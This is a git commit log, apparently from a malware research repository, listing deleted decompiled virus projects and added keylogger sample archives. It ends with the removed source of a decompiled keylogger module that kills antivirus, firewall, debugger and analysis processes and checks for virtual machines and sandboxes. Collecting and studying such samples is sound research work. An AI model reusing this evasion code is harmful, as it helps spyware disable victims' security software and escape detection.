MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/My/MyComputer.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/My/MyProject.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/NmXRWnCqVoQLkgsgflZU.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/Virus.Win32.Virut.ce.csproj delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/Virus.Win32.Virut.ce.sln delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Action.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/CCCInstall.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/CCCInstallLog.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/BaseTask.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/GACTasks.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/ITask.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/NgenTasks.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/RegistryTasks.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/VersionTasks.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASM_CACHE_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASM_CMP_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASM_DISPLAY_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASM_NAME.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASSEMBLY_INFO.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/FUSION_INSTALL_REFERENCE.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/FusionApi.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IAssemblyCache.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IAssemblyCacheItem.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IAssemblyEnum.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IAssemblyName.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IHistoryReader.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IInstallReferenceEnum.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IInstallReferenceItem.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/Virus.Win32.Virut.ce.csproj delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/Virus.Win32.Virut.ce.sln delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Form1.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Form1.resx delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/InternalXmlHelper.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MyApplication.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MyComputer.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MyProject.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MySettings.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MySettingsProperty.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/Resources/Resources.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Resources.resx delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Virus.Win32.Virut.ce.csproj delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Virus.Win32.Virut.ce.sln delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Form1.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Form1.resx delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Program.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Properties/Resources.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Properties/Resources.resx delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Properties/Settings.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Virus.Win32.Virut.ce.csproj delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Virus.Win32.Virut.ce.sln delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/CD.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/Daanteys.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/My/MyApplication.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/My/MyComputer.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/My/MyProject.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/TempRes.resx delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/Virus.Win32.Virut.ce.csproj delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/Virus.Win32.Virut.ce.sln delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/fjYIWqNzRsrEuPM.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/Virus.Win32.Virut.ce.csproj delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/Virus.Win32.Virut.ce.sln delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/WindowsApplication1/Resources.resx delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/_003CModule_003E.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/_003CPrivateImplementationDetails_003E{FCDEF2F2-8E.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄ࠹/ऄࡀ.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡀ.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡁ.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡂ.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡃ.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄ࠹/ऄࡄ.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡀ.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡁ.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡂ.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡃ.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡄ.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡅ.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡅ.resx delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-d1c1a097ee65bcbdb837a528eb91652ea74c5b5ac7d41670ff2946e6d8dd6d9f/ऄࡆ.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Form1.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Form1.resx delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Program.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Properties/Resources.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Properties/Resources.resx delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Properties/Settings.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Virus.Win32.Virut.q.csproj delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.q-2b457b7ac6d929d9f9e89b52c8d2100f00c731f2b4adf1170c227cdf7f0a505c/Virus.Win32.Virut.q.sln delete mode 100644 MSIL/Virus/Win32/X/Virus.Win32.Xbotor-45fa2a41d7300814fe94d0eb8fc1f81a9565ff1e28ba2d1973bb5cb1bac62fea/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/X/Virus.Win32.Xbotor-45fa2a41d7300814fe94d0eb8fc1f81a9565ff1e28ba2d1973bb5cb1bac62fea/Virus.Win32.Xbotor.csproj delete mode 100644 MSIL/Virus/Win32/X/Virus.Win32.Xbotor-45fa2a41d7300814fe94d0eb8fc1f81a9565ff1e28ba2d1973bb5cb1bac62fea/Virus.Win32.Xbotor.sln delete mode 100644 MSIL/Virus/Win32/X/Virus.Win32.Xbotor-45fa2a41d7300814fe94d0eb8fc1f81a9565ff1e28ba2d1973bb5cb1bac62fea/p2pdotnet.cs delete mode 100644 MSIL/Virus/Win32/X/Virus.Win32.Xbotor-78aa04a37c21e84b763d1f60bf425b89a237eddcfff4977fbbee30caa45d43d5/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/X/Virus.Win32.Xbotor-78aa04a37c21e84b763d1f60bf425b89a237eddcfff4977fbbee30caa45d43d5/Virus.Win32.Xbotor.csproj delete mode 100644 MSIL/Virus/Win32/X/Virus.Win32.Xbotor-78aa04a37c21e84b763d1f60bf425b89a237eddcfff4977fbbee30caa45d43d5/Virus.Win32.Xbotor.sln delete mode 100644 MSIL/Virus/Win32/X/Virus.Win32.Xbotor-78aa04a37c21e84b763d1f60bf425b89a237eddcfff4977fbbee30caa45d43d5/p2pdotnet.cs create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.ajb.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.aml.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.aqg.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.aww-f.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.aww.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.bxuq.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.bxxf.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.bxxv.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cciq.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cfj-6.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cfj.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cme.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cts.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cuw-73.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cuw-89.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cuw-9.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cuw-9c.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cuw-b4.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cve.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cwa.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.czk.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.dga.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.ecv.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.ghj.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.irg.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.jfp-a.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.jfp-e.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.jfp-f.7z create mode 100644 Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.qqc-8.7z create mode 100644 Win32/Malware Families/Generic.Win32.Redator/Trojan-Spy.MSIL.Redator.a-0.7z create mode 100644 Win32/Malware Families/Generic.Win32.Redator/Trojan-Spy.MSIL.Redator.a-a.7z diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Antis.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Antis.cs deleted file mode 100644 index bd6bfeca..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Antis.cs +++ /dev/null @@ -1,215 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: AHSJKHwyIUYUIYIYI8sOIioOID.Antis -// Assembly: Publicloggerversionztub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: 02BBAAFD-61B0-4722-9D55-257F48A7F005 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; -using System.Threading; - -namespace AHSJKHwyIUYUIYIYI8sOIioOID -{ - [StandardModule] - internal sealed class Antis - { - public static void qwejJAUiewuoqo1u3oi12312() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "keyscrambler", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void SHOSHARKZ() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "wireshark", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void Shipost() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "outpost", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void Sheperskyz() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "avp", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void Shibender() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "bdagent", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void Shuwalarm() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "zlclient", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void wiIUQO1KLLAIowuEO2KOAA() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "Anubis.exe", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void Shunurmanizkabardiz() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "npfmsg.exe", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void nodrezspedtretodez() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "egui.exe", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void shuberbytizkeberdizdie() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "mbam.exe", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void shulabeldebiskeberidiz() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ollydbg.exe", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - [DllImport("kernel32", EntryPoint = "GetDiskFreeSpaceExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetDiskFreeSpaceEx( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpDirectoryName, - ref long lpFreeBytesAvailableToMe, - ref long lpTotalNumberOfBytes, - ref long lpTotalNumberOfFreeBytes); - - public static bool vpzkabarzidikoborzi() - { - int num = Process.GetProcessesByName("vpcmap").Length >= 4 & Process.GetProcessesByName("vmsrvc").Length >= 4 ? 1 : 0; - bool flag; - return flag; - } - - public static bool kuburdivimarekuburziger() - { - if (Process.GetProcessesByName("vmwareservice").Length < 1) - ; - bool flag; - return flag; - } - - public static bool vellokobarxzikobordi() - { - if (Process.GetProcessesByName("VBoxservice").Length < 1) - ; - bool flag; - return flag; - } - - public static bool shardabihardraviekorvadikemberdi() - { - string lpDirectoryName = "c:"; - long lpFreeBytesAvailableToMe; - long lpTotalNumberOfBytes; - long lpTotalNumberOfFreeBytes; - Antis.GetDiskFreeSpaceEx(ref lpDirectoryName, ref lpFreeBytesAvailableToMe, ref lpTotalNumberOfBytes, ref lpTotalNumberOfFreeBytes); - if (lpTotalNumberOfBytes < 20000000000L) - ; - bool flag; - return flag; - } - - public static bool Shumarnizkeabardizimulatorizkoborzi() - { - long tickCount = (long) Environment.TickCount; - Thread.Sleep(500); - if (checked ((long) Environment.TickCount - tickCount) >= 500L) - ; - bool flag; - return flag; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/AssemblyInfo.cs 